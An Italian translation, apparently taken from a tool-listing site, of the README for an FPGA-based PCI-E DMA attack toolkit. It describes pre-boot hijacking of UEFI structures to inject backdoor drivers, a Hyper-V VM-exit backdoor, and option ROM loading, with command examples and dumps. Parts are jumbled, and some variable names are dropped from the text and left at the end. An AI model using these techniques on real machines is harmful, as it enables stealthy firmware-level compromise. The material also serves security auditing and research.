Winload.c(508) : winload!HvlpBelow1MbPageAllocated is at 0xa037b9
Winload.c(587) : winload!OslArchTransferToKernel() is at 0x9c4b20

Per maggiori informazioni sui casi d'uso e le funzionalità di Boot Backdoor consulta il suo file README con informazioni dettagliate.

I programmi Python uefi_backdoor_simple.py, uefi_backdoor_hv.py, uefi_backdoor_boot.py e uefi_backdoor_boot_shell.py supportano due diversi modi per passare l'esecuzione all'immagine del driver UEFI DXE iniettato:

  • dirottamento di EFI_SYSTEM_TABLE − esegue la scansione della memoria di sistema dall'indirizzo fisico 0xf0000000 a 0 con passo di 0x10000 byte per trovare la tabella di sistema EFI tramite la sua firma e patchare l'indirizzo della funzione LocateProtocol(). Per sovrascrivere le opzioni di scansione della memoria puoi usare le variabili d'ambiente SCAN_FROM e SCAN_STEP.

  • dirottamento di PROTOCOL_ENTRY − esegue la scansione della memoria di sistema dall'indirizzo fisico 0x76000000 a 0xa0000000 con passo di 0x1000 byte per trovare la struttura EFI_CPU_IO2_PROTOCOL del protocollo CPU I/O 2 e patchare una delle sue funzioni. Per sovrascrivere le opzioni di scansione della memoria puoi usare le variabili d'ambiente , e .

Di default tutti e quattro i programmi usano il metodo di dirottamento della tabella di sistema EFI; per usare invece il metodo PROTOCOL_ENTRY puoi passare l'opzione da riga di comando --inj-prot al programma appropriato. Per ridurre il tempo necessario a eseguire l'attacco puoi specificare l'indirizzo della struttura EFI_SYSTEM_TABLE trovato in precedenza usando l'opzione --system-table e l'indirizzo della struttura PROTOCOL_ENTRY usando l'opzione --prot-entry. Inoltre, tutti e quattro i programmi Python hanno l'opzione da riga di comando --test, usata per eseguire la scansione della memoria e trovare gli indirizzi delle strutture richieste senza eseguire un vero dirottamento del flusso di esecuzione. Quindi, durante il primo avvio puoi eseguire il programma desiderato con l'opzione --test per trovare l'indirizzo necessario e durante il secondo avvio puoi eseguire lo stesso programma con l'opzione --system-table o --prot-entry per specificare quell'indirizzo.

Durante lo sviluppo di codice malevolo per attacchi DMA pre-boot è importante disporre di informazioni sull'ambiente di esecuzione della fase UEFI DXE. Per raccogliere tali informazioni puoi accendere il computer target, entrare nel menu di configurazione del BIOS o nel menu delle opzioni di avvio per mettere in pausa il caricamento del sistema operativo ed eseguire il programma uefi.py senza argomenti. Questo programma eseguirà la scansione della memoria fisica del computer target e stamperà varie informazioni sui protocolli e le interfacce UEFI DXE esistenti, sui driver UEFI caricati, sulle tabelle descrittive UEFI e sulle tabelle ACPI. Qui puoi vedere un esempio delle informazioni ottenute dal programma uefi.py utilizzando il mini-PC AAEON UP Squared come bersaglio dell'attacco.

Attacchi alle Option ROM

Il bitstream fornito può emulare un'Option ROM PCI-E memorizzata nella memoria flash lineare di bordo dello SP605. Sebbene le piattaforme moderne mitighino gli attacchi alle Option ROM, questa funzione può comunque essere utile per audit di sicurezza o scopi di prototipazione.

Puoi gestire le immagini delle Option ROM usando il programma Python pcie_rom_ctl.py.
Cancellazione del contenuto dell'Option ROM:``` $ ./pcie_rom_ctl.py --erase [+] Opening PCI-E device... [+] Enabling resident mode... [+] Erasing option ROM... [+] Done

root@kitploit:~
Caricamento dell'esempio di UEFI option ROM fornito nella scheda:```
$ ./pcie_rom_ctl.py --load payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64_10ee_1337.rom
[+] Opening PCI-E device...
[+] Enabling resident mode...
[+] Erasing option ROM...
[+] Loading 5120 bytes of option ROM...
[+] Done

Inoltre, è disponibile un'opzione per registrare l'accesso alla memoria della option ROM nella UART di debug della scheda SP605; per abilitare o disabilitare questa opzione usare i parametri --log-on e --log-off del programma ./pcie_rom_ctl.py.

Per verificare il corretto funzionamento del supporto della option ROM sotto Linux si può procedere come segue.
Per prima cosa, trovare l'indirizzo bus-device-function del dispositivo PCI-E SP605:```

lspci | grep Xilinx

01:00.0 Ethernet controller: Xilinx Corporation Device 1337

root@kitploit:~
Quindi, impostare il bit di abilitazione del registro di comando in modo che il sistema di destinazione inoltri al dispositivo PCI-E tutti i tentativi di accesso alla memoria relativi agli intervalli di memoria fisica della option ROM:```
# echo 1 > /sys/bus/pci/devices/0000\:01\:00.0/enable
# echo 1 > /sys/bus/pci/devices/0000\:01\:00.0/rom

Ora puoi scaricare il contenuto della option ROM precedentemente caricata con l'aiuto del comando dd e dell'appropriato pseudo-file di sysfs:```

dd if=/sys/bus/pci/devices/0000:01:00.0/rom | hexdump -Cv

00000000 55 aa 0b 00 f1 0e 00 00 0b 00 64 86 00 00 00 00 |U.........d.....| 00000010 00 00 00 00 00 00 60 00 1c 00 00 00 50 43 49 52 |......`.....PCIR| 00000020 ee 10 37 13 00 00 1c 00 03 00 00 00 0b 00 00 00 |..7.............| 00000030 03 80 00 00 00 00 00 00 ff ff ff ff ff ff ff ff |................| 00000040 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| 00000050 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| 00000060 4d 5a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |MZ..............| 00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000090 00 00 00 00 00 00 00 00 00 00 00 00 b8 00 00 00 |................| 000000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000000b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000000c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|

...

root@kitploit:~
Nel caso in cui l'opzione `--log-on` del programma `pcie_rom_ctl.py` sia stata specificata durante la configurazione, vedrai i seguenti messaggi nella console UART di debug della scheda SP605 durante il dump della option ROM:```
ROM read: size = 2, offset = 0x0
ROM read: size = 2, offset = 0x18
ROM read: size = 4, offset = 0x1C
ROM read: size = 1, offset = 0x31
ROM read: size = 2, offset = 0x2C
ROM read: size = 1, offset = 0x0
ROM read: size = 2, offset = 0x0
ROM read: size = 2, offset = 0x18
ROM read: size = 4, offset = 0x1C
ROM read: size = 1, offset = 0x31
ROM read: size = 2, offset = 0x2C
ROM read: size = 1, offset = 0x1
ROM read: size = 2, offset = 0x0
ROM read: size = 2, offset = 0x18
ROM read: size = 4, offset = 0x1C
ROM read: size = 1, offset = 0x31
ROM read: size = 2, offset = 0x2C

...

Risoluzione dei problemi

PCI Express è un bus ad alta velocità molto complesso, quindi ci sono molte cose che possono andare storte. Se l'attacco DMA non funziona sulla tua configurazione, puoi controllare i seguenti aspetti per determinare il problema esatto:

  • Il LED DS3 è acceso quando il link PCI-E fisico è attivo e DS4 è acceso quando il root complex ha assegnato l'indirizzo bus-device-function al nostro endpoint PCI-E. Se DS3 è spento, probabilmente significa un problema di connettività fisica − controlla i tuoi riser, cavi, ecc. Se DS3 è acceso ma DS4 è spento, significa che devi riavviare il bersaglio dell'attacco o forzare una nuova scansione dei dispositivi PCI-E dal suo lato.

  • Il LED DS5 è acceso durante il reset del bus PCI-E; se è sempre acceso, indica un problema di connettività fisica.

  • Se il root complex invia un TLP Cpl invece di un TLP CplD in risposta a una richiesta di lettura in memoria, significa che l'accesso alla memoria è stato rifiutato a causa di un indirizzo non valido o dei controlli di accesso imposti dall'IOMMU. Inoltre, una tipica macchina x86 potrebbe non rispondere affatto alle richieste di lettura in memoria verso alcune regioni MMIO dello spazio di indirizzi fisici.

  • Se il software riceve TLP incoerenti o non validi dal root complex in risposta alle richieste di lettura in memoria, puoi provare a impostare un valore più piccolo della costante MEM_RD_TLP_LEN in pcie_lib.py per dividere i dati di risposta in chunk più piccoli. Inoltre, è utile eseguire il programma con la variabile d'ambiente DEBUG_TLP=1 e controllare il dump raw dei TLP TX/RX.

Compilazione del progetto dal codice sorgente

  1. Installa Xilinx ISE 13.4, fornito con la tua scheda SP605, e apri il file di progetto s6_pcie_microblaze.xise.

  2. Rigenera i core s6_pcie_v2_4 e fifo_generator_v8_4 presenti nella gerarchia del progetto.

  3. Fai clic sull'istanza microblaze_i nella gerarchia del progetto ed esegui "Export Hardware Design to SDK With Bitstream".

  4. Al termine della build, ISE apre l'IDE Xilinx Software Development Kit; usa la cartella sdk come workspace.

  5. Crea un nuovo standalone board support package nell'albero del tuo progetto Xilinx SDK e seleziona le librerie lwIP e xilflash nella configurazione BSP.

  6. Importa i progetti sdk/srec_bootloader_0 e sdk/main_0 nell'albero del progetto ed esegui la build.

  7. Esegui make bitstream && make srec dal prompt dei comandi di Xilinx ISE per generare i file di output necessari.

Sviluppato da

Dmytro Oleksiuk (aka Cr4sh)

[email protected]
http://blog.cr4.sh
@d_olex

Scarica lo strumento
1
2
3
4
  • python/uefi_backdoor_simple.py − Programma a riga di comando per l'attacco DMA pre-boot che inietta un driver UEFI fittizio nella sequenza di avvio della macchina di destinazione.

  • python/uefi_backdoor_hv.py − Programma a riga di comando per l'attacco DMA pre-boot che inietta una backdoor nel VM exit handler di Hyper-V nella sequenza di avvio del sistema di destinazione.

  • python/uefi_backdoor_boot.py − Programma a riga di comando per l'attacco DMA pre-boot che inietta Boot Backdoor nella sequenza di avvio del sistema di destinazione.

  • python/payloads/DmaBackdoorSimple/ − Codice sorgente del driver DXE UEFI fittizio da utilizzare con uefi_backdoor_simple.py.

  • python/payloads/DmaBackdoorHv/ − Codice sorgente del driver DXE UEFI da utilizzare con uefi_backdoor_hv.py; implementa la funzionalità Hyper-V Backdoor.

  • python/payloads/DmaBackdoorBoot/ − Codice sorgente del driver DXE UEFI da utilizzare con uefi_backdoor_boot.py; implementa la funzionalità Boot Backdoor.

  • SCAN_FROM
    SCAN_TO
    SCAN_STEP